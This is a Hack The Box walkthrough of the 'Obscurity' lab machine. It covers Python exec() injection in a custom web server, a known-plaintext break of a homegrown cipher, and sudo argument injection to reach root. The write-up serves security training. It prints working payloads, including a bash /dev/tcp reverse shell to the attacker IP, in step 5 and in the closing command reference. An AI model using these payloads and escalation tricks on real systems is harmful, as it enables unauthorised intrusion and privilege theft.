Hack The Box
Hack The Box: Obscurity Walkthrough
A leaked custom web-server source file exposed Python exec injection for a www-data shell, a known-plaintext attack recovered Robert's password, and argument injection in his sudoed BetterSSH script selected root as the execution user.

Target IP: 10.129.227.178
Attacker IP: 10.10.16.84
Difficulty: Medium
OS: Linux
Background
What is "Security Through Obscurity"?
This box is literally named Obscurity, and its theme is "security through obscurity." This is a critical concept in cybersecurity:
Security through obscurity is the reliance on the secrecy of the design or implementation as the main method of providing security for a system.
The website even jokes about it: "you can't be hacked if attackers don't know what software you're using!" This is a fallacy. Real security comes from strong design, peer review, and assuming the attacker already knows how your system works (Kerckhoffs's Principle).
Approach for This Box
Start by mapping the likely attack paths:
- Assume nothing is truly hidden. The devs think their "secret" directory is safe because it's not linked anywhere. We know better.
- Source code is the ultimate target. If we can read the source code of a custom application, we can find vulnerabilities that black-box testing would never reveal.
- Custom crypto is almost always broken. The box advertises an "unbreakable encryption algorithm." In the real world, custom cryptography is a strong indicator. Standard algorithms (AES, RSA, ChaCha20) are standard for a reason -- they've been tested by thousands of cryptographers.
- Look for developer mistakes, not complex exploits. The
exec()vulnerability we'll find is a basic Python mistake. The root escalation is a logic flaw in argument parsing. These aren't zero-days -- they're careless coding.
Step 1: Initial Reconnaissance (Nmap)
nmap -p- --min-rate 10000 10.129.227.178
nmap -p 22,8080 -sC -sV -oA scans/nmap 10.129.227.178
Reconnaissance is the foundation of every penetration test. You cannot attack what you don't know exists. The first command (-p-) scans all 65,535 TCP ports. The second (-sC -sV) runs default scripts and version detection on the open ports we found.
We're asking: "What services are running? What versions? What can I talk to?"
- Port 22 (SSH): Standard OpenSSH. Probably not our initial entry point unless we have credentials, but we'll note it for later.
- Port 8080 (HTTP): A web server running something called
BadHTTPServer. This is not Apache, Nginx, or IIS. It's custom software -- immediately interesting because custom software often has custom vulnerabilities. - Ports 80 and 9000 are closed: Interesting that they send RST packets instead of no-response. This tells us the host is actively rejecting connections on those ports, which might hint at firewall rules or future pivoting opportunities.
Custom services = custom vulnerabilities. When you see a non-standard service name like
BadHTTPServer, your interest should spike. Standard servers have had decades of security patches. Custom servers are often written by developers who aren't security experts.
Step 2: Web Enumeration
curl http://10.129.227.178:8080
Web applications are the most common attack surface. We need to understand what the application does, what technologies it uses, and whether it leaks any information.
We're reading the page like an investigator, not a user. We're not looking at the pretty CSS -- we're looking for:
- Comments in the source code
- Hidden directories or paths
- Developer notes or debug information
- Technology stack hints
What We Found
The page is a promotional site for "0bscura" -- a company that writes all its own software. The critical finding is in the Development section:
"Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory"
Why the finding matters
This is a classic information disclosure vulnerability. The developers left a note for themselves that tells us:
- The exact filename:
SuperSecureServer.py - The file exists in a "secret development directory"
- The directory is accessible via the web server somehow
Developers often leak critical information in comments, notes, and error messages. read the full page content and view the page source. What looks like an internal note to a developer is a roadmap to an attacker.
Step 3: Discovering the Secret Directory
grep dev /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt > dev_dirs
ffuf -u http://10.129.227.178:8080/FUZZ/SuperSecureServer.py -w dev_dirs -c
We know the filename (SuperSecureServer.py) and we know it lives in a "secret development directory." We need to find the directory name. Since we can't guess it, we use brute-force discovery -- trying thousands of common directory names until one works.
Why ffuf/wfuzz and Not gobuster/dirsearch?
The writeups noted that gobuster failed against this custom server because the server sends malformed HTTP responses that crash Go's HTTP parser. ffuf and wfuzz are more tolerant of weird responses.
Why We Filtered for "dev"
The hint said "development directory." Instead of brute-forcing 220,000 words, we intelligently filtered the wordlist to only entries containing "dev" -- reducing it to ~343 words. This is smart brute-forcing: using context clues to reduce the search space.
We're thinking: "The developers are lazy. They probably used a simple, obvious name like 'dev', 'develop', 'development', or 'devel'. Do not waste time on 'admin', 'backup', or 'test' when we have a strong hint."
What We Found
develop [Status: 200, Size: 5892, Words: 1806, Lines: 171]
The secret directory is /develop.
Context-aware enumeration is faster than blind brute-forcing. If you have a hint, use it. A 343-wordlist scan takes seconds; a 220,000-wordlist scan takes minutes and might crash.
Step 4: Source Code Analysis
wget http://10.129.227.178:8080/develop/SuperSecureServer.py
cat SuperSecureServer.py
Source code is the attacker's best friend. When you can read the source code of a web application, you don't have to guess how it works -- you can see exactly how it processes input, where it sanitizes (or doesn't sanitize) data, and what assumptions the developer made.
We're reading this code like a security auditor. We're not looking for "does it work?" -- we're looking for "how can I break it?"
Key questions we ask:
- Where does user input enter the system?
- Is that input sanitized, validated, or escaped?
- Does it reach any dangerous functions (
exec,eval,os.system,subprocess, SQL queries, etc.)? - Are there any logic flaws or race conditions?
The Vulnerability
In the serveDoc() method, we find:
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
Break down why this is catastrophic:
pathcomes from the HTTP request URL. The user completely controls this.urllib.parse.unquote(path)URL-decodes the path. This means%20becomes a space,%27becomes', etc.info.format(path)inserts the user-controlled path into a Python string.exec()executes that string as Python code.
The Developer's Mistake
The developer wanted to create a debug string like:
output = 'Document: /index.html'
But they used exec() instead of simple assignment. If a user sends:
/'; os.system('id'); a='
The formatted string becomes:
output = 'Document: '; os.system('id'); a=''
The exec() runs this as three separate Python statements:
output = 'Document: '(harmless assignment)os.system('id')(REMOTE CODE EXECUTION)a=''(harmless assignment)
Why os Is Available
Notice at the top of the file:
import os
Because os is already imported into the script's namespace, our injected code can use it directly without needing to import it ourselves.
exec()andeval()with user input is always dangerous. There is virtually no safe way to use these functions with untrusted data. If you seeexec(),eval(), orpickle.loads()in code that processes user input, you've probably found your vulnerability.
Step 5: Exploiting Python exec() Injection
Proof of Concept (Ping)
Terminal 1 (Listener):
sudo tcpdump -i tun0 icmp
Terminal 2 (Attack):
curl "http://10.129.227.178:8080/';os.system('ping%20-c%201%2010.10.16.84');'"
Why We Test with Ping First
Before we try to get a full shell, we use a blind command execution test. Why?
- We might not see direct output from the web server.
- A ping is safe, non-destructive, and confirms execution.
- If we get ICMP packets back, we know our injection syntax is correct.
Why This Payload Works
Trace the payload through the code:
- HTTP Request:
GET /';os.system('ping%20-c%201%2010.10.16.84');' HTTP/1.1 - Request.doc:
';os.system('ping%20-c%201%2010.10.16.84');' - URL Decode:
';os.system('ping -c 1 10.10.16.84');' - String Format:
output = 'Document: ';os.system('ping -c 1 10.10.16.84');'' - Exec() runs it. The middle statement executes
ping -c 1 10.10.16.84.
We're being methodical: "Don't rush to a reverse shell. Confirm the primitive first. If the ping works, the shell will work. If the ping fails, I need to debug my payload syntax before I waste time on a listener."
Getting the Reverse Shell
Terminal 1 (Listener):
nc -lvnp 443
Terminal 2 (Attack):
curl "http://10.129.227.178:8080/';os.system('bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/10.10.16.84/443%200%3E&1%22');'"
Why This Payload?
We're using a bash reverse shell one-liner:
bash -c "bash -i >& /dev/tcp/10.10.16.84/443 0>&1"
This creates an interactive bash session that redirects:
stdoutandstderr(>&) to a TCP connection to our Kali machinestdin(0>&1) from that same connection
We wrap it in bash -c because the os.system() call needs a single command string. We URL-encode spaces and special characters so the HTTP request is valid.
Verify your exploit primitive with a safe test (ping/dns) before deploying a reverse shell. This saves time debugging whether your shell failed because of networking issues, firewall rules, or bad payload syntax.
Step 6: Stabilizing the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
reset
A basic netcat shell is limited:
- No command history (arrow keys don't work)
- No tab completion
- No clear command
Ctrl+Ckills the shell instead of cancelling a command- Some commands (like
sudo,vim,ssh) require a TTY (terminal device)
What PTY Does
PTY stands for Pseudo-Terminal. It makes our shell behave like a real terminal session. The stty raw -echo command on our Kali machine tells our local terminal to pass keystrokes directly to the remote shell without interpreting them locally.
We're thinking: "I have a shell, but it's fragile. Before I start exploring and running complex commands, I need a stable environment. A broken shell during privilege escalation could mean losing access and having to start over."
Stabilize your shell immediately. Don't explore the target with a bare netcat shell. A PTY shell prevents accidental disconnections and enables commands that require interactive input.
Step 7: Post-Exploitation Enumeration
cd /home/robert && ls -la
cat check.txt
cat out.txt
cat passwordreminder.txt
python3 SuperSecureCrypt.py -h
Now that we have a stable shell as www-data, we need to escalate privileges. The first place to look is always /home -- user home directories often contain:
- SSH keys
- Passwords or password hints
- Configuration files with credentials
- Scripts or applications with vulnerabilities
What We Found
check.txt - plaintext message
out.txt - encrypted output
passwordreminder.txt - encrypted password reminder
SuperSecureCrypt.py - the encryption program
user.txt - the user flag (unreadable by www-data)
We're seeing a pattern: the box gives us both the encryption tool and a known plaintext/ciphertext pair. This is a strong hint. The developer left check.txt (plaintext) and out.txt (ciphertext) as a way to verify the encryption key works. For an attacker, this is a gift.
We're thinking: "If I can figure out how this encryption works, I can use the known plaintext to recover the key. Then I can decrypt the password reminder and get robert's password."
Check user home directories thoroughly. Look for scripts, text files, and anything that stands out. Developers often leave test files, credentials, or hints that make privilege escalation trivial.
Step 8: Cryptographic Analysis (Known-Plaintext Attack)
Understanding the Encryption
Looking at SuperSecureCrypt.py:
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
Breaking Down the Math
This is essentially a Vigenere cipher with modulo 255 instead of 26:
- Encryption:
cipher_char = (plain_char + key_char) % 255 - Decryption:
plain_char = (cipher_char - key_char) % 255
Why Custom Crypto Is Bad
Real-world encryption uses algorithms like AES because:
- They resist known-plaintext attacks
- They use complex substitution-permutation networks
- They have been analyzed by cryptographers for decades
This custom algorithm is just repeated addition. If you know any plaintext and its ciphertext, you can solve for the key:
key_char = (cipher_char - plain_char) % 255
The Attack: Using the Script Against Itself
We have:
check.txt= plaintextout.txt= ciphertext of check.txt
If we "decrypt" out.txt using check.txt as the "key," the math works out to:
result = (cipher_char - plain_char) % 255 = key_char
So we run:
python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -d -o /tmp/key.txt
cat /tmp/key.txt
Output: alexandrovichalexandrovichalexandrovich...
The key is alexandrovich.
Decrypting the Password
Now that we have the key:
python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o /tmp/passwd.txt
cat /tmp/passwd.txt
Output: SecThruObsFTW
We're thinking: "The developer wanted to test their encryption, so they left a plaintext/ciphertext pair. They didn't realize this completely breaks their cipher. This is why Kerckhoffs's Principle says the security of a cipher should depend ONLY on the key, not on keeping the algorithm secret."
Do not roll your own cryptography. And if you find custom crypto on a target, look for known-plaintext or chosen-plaintext opportunities. Test files, example outputs, and encrypted data with predictable structure (like JSON, XML, or English text headers) are all potential attack vectors.
Step 9: Privilege Escalation to robert
su robert
# Password: REDACTED
cat /home/robert/user.txt
Now that we have robert's password, we can authenticate as him. We use su (switch user) instead of SSH because we already have a shell on the box -- no need to make a new network connection.
What We Found
User flag: 7603f0f[redacted]35349696
We're now thinking about the next target: root. Before we hunt for root, we check what privileges robert has.
Step 10: Root Privilege Escalation
Checking sudo Privileges
sudo -l
Output:
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Why This Is Interesting
sudo -l tells us what commands robert can run as root without a password. The only entry is a custom Python script -- another instance of custom software. Custom software running with elevated privileges is a privilege escalation useful sources.
Analyzing BetterSSH.py
The script:
- Reads a username and password from the user
- Copies
/etc/shadowto/tmp/SSH/[random_name] - Sleeps for 0.1 seconds
- Validates the password against the shadow hash
- If authenticated, enters a loop that runs commands via
sudo -u [user]
The critical code is:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Finding the Vulnerability
The script builds the command list as:
cmd = ['sudo', '-u', 'robert']
# Then extends with our input
cmd = ['sudo', '-u', 'robert', '-u', 'root', 'cat', '/root/root.txt']
How sudo handles multiple -u flags: When sudo receives multiple -u options, the last one wins. This is standard behavior for many command-line tools.
So sudo -u robert -u root cat /root/root.txt executes as root.
We're analyzing the script as if we wrote it. We ask:
- "What assumptions did the developer make?" They assumed the user would only enter simple commands.
- "What can I inject?" The
command.split(" ")splits on spaces, butsudoparses arguments sequentially. Adding-u rootbefore our real command hijacks the privilege level. - "Why does this work?" Because the developer trusted user input to be a simple command, not a command with its own flags.
Exploitation
mkdir -p /tmp/SSH
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
# Enter username: robert
# Enter password: REDACTED
# Authed!
# robert@Obscure$ -u root cat /root/root.txt
Root flag: ea0cac[redacted]695d4b6d
Why We Created /tmp/SSH First
The script writes the shadow file to /tmp/SSH/[random]. If /tmp/SSH doesn't exist, the script crashes with a FileNotFoundError. This is a small detail that could block exploitation if we didn't know about it.
When analyzing sudo privileges, always read the source code of custom scripts. Look for:
subprocess.Popen,os.system, orexecwith user input- Command-line argument injection opportunities
- Race conditions (file operations with predictable paths or timing windows)
- Path hijacking (directories in PATH that are writable by the user)
Alternative Root Paths
Path 1: Race Condition on Shadow File
The script writes /etc/shadow to /tmp/SSH/[random_name] and leaves it there for 0.1 seconds. An attacker could:
- Run a loop constantly reading
/tmp/SSH/* - Run BetterSSH simultaneously
- Catch the shadow file before it's deleted
- Crack the root password hash with
johnorhashcat
Mechanism: The developer assumed 0.1 seconds was "too fast" to exploit. On a modern CPU, 0.1 seconds is an eternity.
Path 2: Directory Replacement
If robert had write access to the BetterSSH directory, he could:
mv BetterSSH BetterSSH-oldmkdir BetterSSH- Write a malicious
BetterSSH.pythat spawns a root shell - Run
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Mechanism: sudo checks the path, not the file contents. If you can replace the directory or file, you control what runs as root.
Note: In our instance, this was patched -- the BetterSSH directory was owned by root and not writable by robert.
Path 3: Python Path Hijacking (Patched)
Python loads modules from the script's directory first. If BetterSSH/ was writable, robert could create a fake subprocess.py in that directory. When BetterSSH imported subprocess, it would load robert's malicious version instead of the system library.
Mechanism: Python's module resolution prioritizes the local directory. This is well-known behavior that many developers forget about.
Path 4: LXD Group (Patched)
At release, robert was in the lxd group. Members of the lxd group can create privileged containers that mount the host filesystem. An attacker could:
- Import an Alpine Linux container image
- Create a privileged container with the host root mounted as
/mnt/root - Access any file on the host as root
Mechanism: LXD containers share the kernel with the host. A privileged container has root access to the host's kernel namespaces and mounted filesystems.
Lessons Learned
For Attackers
- Custom software is fertile ground for vulnerabilities. prioritize custom applications over standard, well-tested services.
- Source code access changes everything. A single source file leak can turn a black-box test into a code audit.
- Do not underestimate implementation shortcuts. "Secret" directories, hardcoded credentials, debug comments, and test files are everywhere.
- Custom cryptography is a vulnerability, not a feature. If you see homegrown encryption, look for known-plaintext attacks.
- Sudo on custom scripts is dangerous. analyze what the script does and how it handles user input.
For Defenders
- Do not use
exec()oreval()with user input. There is no safe way to do this. - Don't rely on obscurity. Hiding your source code or using custom algorithms doesn't make you secure.
- Remove debug code and comments before deployment. That "note to devs" gave away the entire attack path.
- Use standard cryptography. AES, RSA, and ChaCha20 exist for a reason.
- Audit custom scripts running with elevated privileges. Especially any script that uses
subprocess,os.system, or handles user input. - Set strict permissions on sensitive directories. If a directory contains a script that runs as root, no unprivileged user should be able to rename, modify, or write to it.
Complete Command Reference
# Step 1: Recon
nmap -p- --min-rate 10000 10.129.227.178
nmap -p 22,8080 -sC -sV 10.129.227.178
# Step 2: Web enum
curl http://10.129.227.178:8080
# Step 3: Directory fuzzing
grep dev /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt > dev_dirs
ffuf -u http://10.129.227.178:8080/FUZZ/SuperSecureServer.py -w dev_dirs -c
# Step 4: Download source
wget http://10.129.227.178:8080/develop/SuperSecureServer.py
# Step 5: Exploit - Ping test
sudo tcpdump -i tun0 icmp
curl "http://10.129.227.178:8080/';os.system('ping%20-c%201%2010.10.16.84');'"
# Step 5: Exploit - Reverse shell
nc -lvnp 443
curl "http://10.129.227.178:8080/';os.system('bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/10.10.16.84/443%200%3E&1%22');'"
# Step 6: Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Step 7-8: Crypto attack
python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -d -o /tmp/key.txt
cat /tmp/key.txt # alexandrovich
python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o /tmp/passwd.txt
cat /tmp/passwd.txt # SecThruObsFTW
# Step 9: User privesc
su robert
cat /home/robert/user.txt
# Step 10: Root privesc
mkdir -p /tmp/SSH
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
# username: robert
# password: REDACTED
# -u root cat /root/root.txt